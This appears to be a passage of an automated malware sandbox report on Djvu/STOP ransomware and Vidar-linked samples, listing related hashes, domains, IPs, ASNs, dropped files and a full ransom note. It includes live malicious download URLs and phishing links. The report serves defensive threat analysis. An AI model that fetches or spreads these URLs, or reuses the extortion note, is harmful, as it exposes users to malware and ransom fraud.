	fzYIPea5QW.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	habrafa.com/files/1/build3.exe
	1AIemYSAZy.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	trmpc.com/check/index.php
	fqlrkxYq3l.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse	brusuax.com/dl/build2.exe
	qpPYm1rHOS.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	96.17.209.196
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.65.44.84
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
sdfjhuz.com	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	201.103.73.225
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.133
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.119.10.231
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
cajgtus.com	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	62.150.232.50
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	63.143.98.185
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.163.142.13
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	200.45.93.45
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	58.151.148.90
api.2ip.ua	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelmexColombiaSACO	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	186.145.236.18
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	181.57.122.71
	tajma.x86-20240422-0535.elf	Get hash	malicious	Mirai, Okiru	Browse	190.145.254.6
	tajma.x86-20240421-1027.elf	Get hash	malicious	Mirai, Okiru	Browse	181.57.124.181
	jLntRRok3B.elf	Get hash	malicious	Mirai	Browse	181.60.53.7
	x86.elf	Get hash	malicious	Mirai	Browse	181.62.19.181
	nYoGq0v7bV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	186.87.128.80
	tL98mBWW8p.elf	Get hash	malicious	Mirai	Browse	181.52.77.173
	GFw6joeIJl.elf	Get hash	malicious	Mirai	Browse	190.158.124.249
HETZNER-ASDE	file.exe	Get hash	malicious	Vidar	Browse	95.217.246.168
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
TechtelLMDSComunicacionesInteractivasSAAR	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	181.116.229.179
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	181.116.130.208
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	186.158.228.1
	YKLjlQEZKY.elf	Get hash	malicious	Mirai	Browse	181.116.229.155
	ccm9HqTuky.elf	Get hash	malicious	Mirai	Browse	181.116.24.127
	arm.elf	Get hash	malicious	Mirai	Browse	181.116.229.190
	arm7.elf	Get hash	malicious	Mirai	Browse	181.116.41.79
	7t5zI3LtK8.elf	Get hash	malicious	Mirai	Browse	181.116.229.161
	9XzxoGb2mX.elf	Get hash	malicious	Mirai	Browse	181.117.231.52
AKAMAI-ASUS	file.exe	Get hash	malicious	Vidar	Browse	96.17.209.196
	5RiFmXTOMp.elf	Get hash	malicious	Mirai	Browse	104.100.28.29
	http://www.agilgas.com.br/wp-content/uploads/2024/04/tryythgghjhgfj.html#T0RQQ2pCOVhPSTJvNm12WEYvSGFNOUI2Q3J4bElveUFOazNibHR2QWI4SGp2aG4yU2kwVytiSzF6WjZnZXN5YUFpUTM5dmpINHlOM2JXdGVtdUM3c2UyMk1yVXROeVVDVVMzYUdOeHFWdDg9	Get hash	malicious	Phisher	Browse	23.61.208.29
	https://campaign-statistics.com/link_click/PJygYHTMZ2_OXDfP/30633247af9f78d20f1e067eab9a8276	Get hash	malicious	HTMLPhisher	Browse	23.209.84.171
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.65.44.84
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	184.28.252.71
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	184.28.252.71
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
CLOUDFLARENETUS	https://www.maultalk.com/url.php?to=https://www.serserijeans.com/vkrWO3usk17alli2Psx0qFe5aglFe5dy9WO3rg	Get hash	malicious	Unknown	Browse	172.67.129.156
	https://midissant.net	Get hash	malicious	Unknown	Browse	104.21.90.87
	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	172.64.166.244
	sBgS8t0K7i.elf	Get hash	malicious	Mirai	Browse	172.64.166.246
	https://8fq7c.eceydri.com/WK9D/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://womenofgoodworks-my.sharepoint.com/:b:/g/personal/tia_womenofgoodworks_org/EVICmRtg-CVNtsngkb8KQlgBH2LYVfumjH5s-SFbeQjN_Q	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://cloudacc.page.link/RtQw	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://www.agilgas.com.br/wp-content/uploads/2024/04/tryythgghjhgfj.html#T0RQQ2pCOVhPSTJvNm12WEYvSGFNOUI2Q3J4bElveUFOazNibHR2QWI4SGp2aG4yU2kwVytiSzF6WjZnZXN5YUFpUTM5dmpINHlOM2JXdGVtdUM3c2UyMk1yVXROeVVDVVMzYUdOeHFWdDg9	Get hash	malicious	Phisher	Browse	172.67.163.224
	https://microloft.net/?r=8e28e856-be8d-4446-a396-cdcd78169ab8&rg=eu	Get hash	malicious	Unknown	Browse	172.66.40.179
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	23.66.133.162 172.67.139.220
	file.exe	Get hash	malicious	Vidar	Browse	23.66.133.162 172.67.139.220
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	23.66.133.162 172.67.139.220
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	23.66.133.162 172.67.139.220
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	23.66.133.162 172.67.139.220
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162 172.67.139.220
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	23.66.133.162 172.67.139.220
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162 172.67.139.220
	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	23.66.133.162 172.67.139.220
	BM-FM_NR.24040718PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.66.133.162 172.67.139.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\sqln[1].dll	file.exe	Get hash	malicious	Vidar	Browse
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse

Created / dropped Files

C:\$WinREAgent\Scratch\_README.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\$WinREAgent\_README.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.875671114836671
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3u:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kp
MD5:	59EE21E88485CDD659BCFD1870AA3B80
SHA1:	806224D396FAB3FCA8C44909B256A3BBDA9E5227
SHA-256:	1DBACA7209015FA93115D632869F80BDF64AC479EB7CB77EB188A8A4C7B4D54F
SHA-512:	72DB3734D0B0127ED3D1B394E86DFADE8E97BBE0F6C39627F7F9D0D7E4A1BA78CC101285899172944B88922FD8A6467C09DA83527D2D23AF4EB721F2542750CE
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\ProgramData\AFBAKKFCBFHIIEBGIDBGIDHIEH

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJEBFCF

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.725650756112095
Encrypted:	false
SSDEEP:	3:29n0GqHN27Tmmyn:2tXqHk7T3yn
MD5:	BB896518B098C11D8D6E64F28C726ABE
SHA1:	837EED49E220702E5C9D4C7691D22F458924F048
SHA-256:	B28A84B4125215FD4DDE5AB21D51CCDB9561F1A07DC744AAB95B097830C23CE9
SHA-512:	B09D44D2EA14D385E629BFCFD6AF1D72BA1657991716656A16D15457E0B3878BBF9D53B16D6390429E09FEAF294A5CD8F4D541936E3974A9AFB0CF0D8CE5E75F
Malicious:	false
Preview:	doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.188477727278874
Encrypted:	false
SSDEEP:	6:KW0ugfr/F8BKMKdIxP/+5HudQ5/ECGAZGA2EZ4ItXqHk7T3eWcii96Z:N0ugD/F8BjKdv5HSG/7CEZRXqOTuWciD
MD5:	74B5978F8E345E4523FE4A4A36CF4D22
SHA1:	01E1A5B0E1E5F84CB3EB5D6080D5B6D5725E28DC
SHA-256:	72DE4EBB3068617AB5C4B4852451C0D7E937E2655E1869EC043AF4C5B4A83D32
SHA-512:	F45B8688C39B329DEE40681F111440DCDFF43DA6E19D9CA8F97194CD52283BD3AB8129E621519B64D06BCBFC21710B644B5F225519B324A050A9EF379EDCFBC2
Malicious:	false
Preview:	insec%. >bb2.......S..p.9R.{.0-..R..{'....\$#[U+6.._H.O{TWU.Iq..+..f...uL.`/~.;W.0c.{..2..r.....k.@..4.W.U.l.y.C#;.w..`....\|..~.8..u..."$....<.$...+..#..4m.W.....k..\ .....'~...jP.8.M......Y..sA.._.q....>....y.Un..V...v...;........E~...;.s. ..)>....6-.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.188477727278874
Encrypted:	false
SSDEEP:	6:KW0ugfr/F8BKMKdIxP/+5HudQ5/ECGAZGA2EZ4ItXqHk7T3eWcii96Z:N0ugD/F8BjKdv5HSG/7CEZRXqOTuWciD
MD5:	74B5978F8E345E4523FE4A4A36CF4D22
SHA1:	01E1A5B0E1E5F84CB3EB5D6080D5B6D5725E28DC
SHA-256:	72DE4EBB3068617AB5C4B4852451C0D7E937E2655E1869EC043AF4C5B4A83D32
SHA-512:	F45B8688C39B329DEE40681F111440DCDFF43DA6E19D9CA8F97194CD52283BD3AB8129E621519B64D06BCBFC21710B644B5F225519B324A050A9EF379EDCFBC2
Malicious:	false
Preview:	insec%. >bb2.......S..p.9R.{.0-..R..{'....\$#[U+6.._H.O{TWU.Iq..+..f...uL.`/~.;W.0c.{..2..r.....k.@..4.W.U.l.y.C#;.w..`....\|..~.8..u..."$....<.$...+..#..4m.W.....k..\ .....'~...jP.8.M......Y..sA.._.q....>....y.Un..V...v...;........E~...;.s. ..)>....6-.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.618012103672356
Encrypted:	false
SSDEEP:	12:kQ3HK68/S4Lmd6/3RDKcrIeMIkPENsAMrZjiqfPQjWXqOTuWcii9a:tHK5gUpWfTIkPE3mZOWXq8uWbD
MD5:	E5CB2221F1C310798CF5864565EADE93
SHA1:	3BF776894C6AD817C4CD35ABDA3E3C4105A5EBE4
SHA-256:	F040B0AA363B31D249CE4DB65C9013E920982693EF73A91C44E06B2A12479CEA
SHA-512:	E0160528B8C7A8B9AEFE710E5707389BA10F1B1E62ABBCAA120366AA57F23E4194412361BE42DBAA67606FE6CDC849291FF4034F0B3EDBB91AC9B78B7FDB31D4
Malicious:	false
Preview:	2023/.u.(...\.f....Wa._^..G w........1."BW...+.....&.e...4..-j`..C{..fD..B w9...y....)X..E..<y.."N...FVI.6..L...W..Q....w\|..e+~....X!AY...DLc.4..:..(.qBz>.K..%.@._.=..........D..G" ...9..6.t...).)....K.\....)...4.-....f.....2p.RH..=9..S....G.>.j........"p...w.....L.5x..../.,bT&..g......^!....k...R.u.n.=-i).!(.....i>.P..#r1r..V..%m7..M..{.d.j..^..T...Y..6."#K...4.W).)..G...h......;...7..;.\$..r....\...%...}.$......i..J..=5w.o.06J...4.V.......K..0.0W......n..{...2H..\|..............3......u...r....l*....>....Jdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.618012103672356
Encrypted:	false
SSDEEP:	12:kQ3HK68/S4Lmd6/3RDKcrIeMIkPENsAMrZjiqfPQjWXqOTuWcii9a:tHK5gUpWfTIkPE3mZOWXq8uWbD
MD5:	E5CB2221F1C310798CF5864565EADE93
SHA1:	3BF776894C6AD817C4CD35ABDA3E3C4105A5EBE4
SHA-256:	F040B0AA363B31D249CE4DB65C9013E920982693EF73A91C44E06B2A12479CEA
SHA-512:	E0160528B8C7A8B9AEFE710E5707389BA10F1B1E62ABBCAA120366AA57F23E4194412361BE42DBAA67606FE6CDC849291FF4034F0B3EDBB91AC9B78B7FDB31D4
Malicious:	false
Preview:	2023/.u.(...\.f....Wa._^..G w........1."BW...+.....&.e...4..-j`..C{..fD..B w9...y....)X..E..<y.."N...FVI.6..L...W..Q....w\|..e+~....X!AY...DLc.4..:..(.qBz>.K..%.@._.=..........D..G" ...9..6.t...).)....K.\....)...4.-....f.....2p.RH..=9..S....G.>.j........"p...w.....L.5x..../.,bT&..g......^!....k...R.u.n.=-i).!(.....i>.P..#r1r..V..%m7..M..{.d.j..^..T...Y..6."#K...4.W).)..G...h......;...7..;.\$..r....\...%...}.$......i..J..=5w.o.06J...4.V.......K..0.0W......n..{...2H..\|..............3......u...r....l*....>....Jdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	672
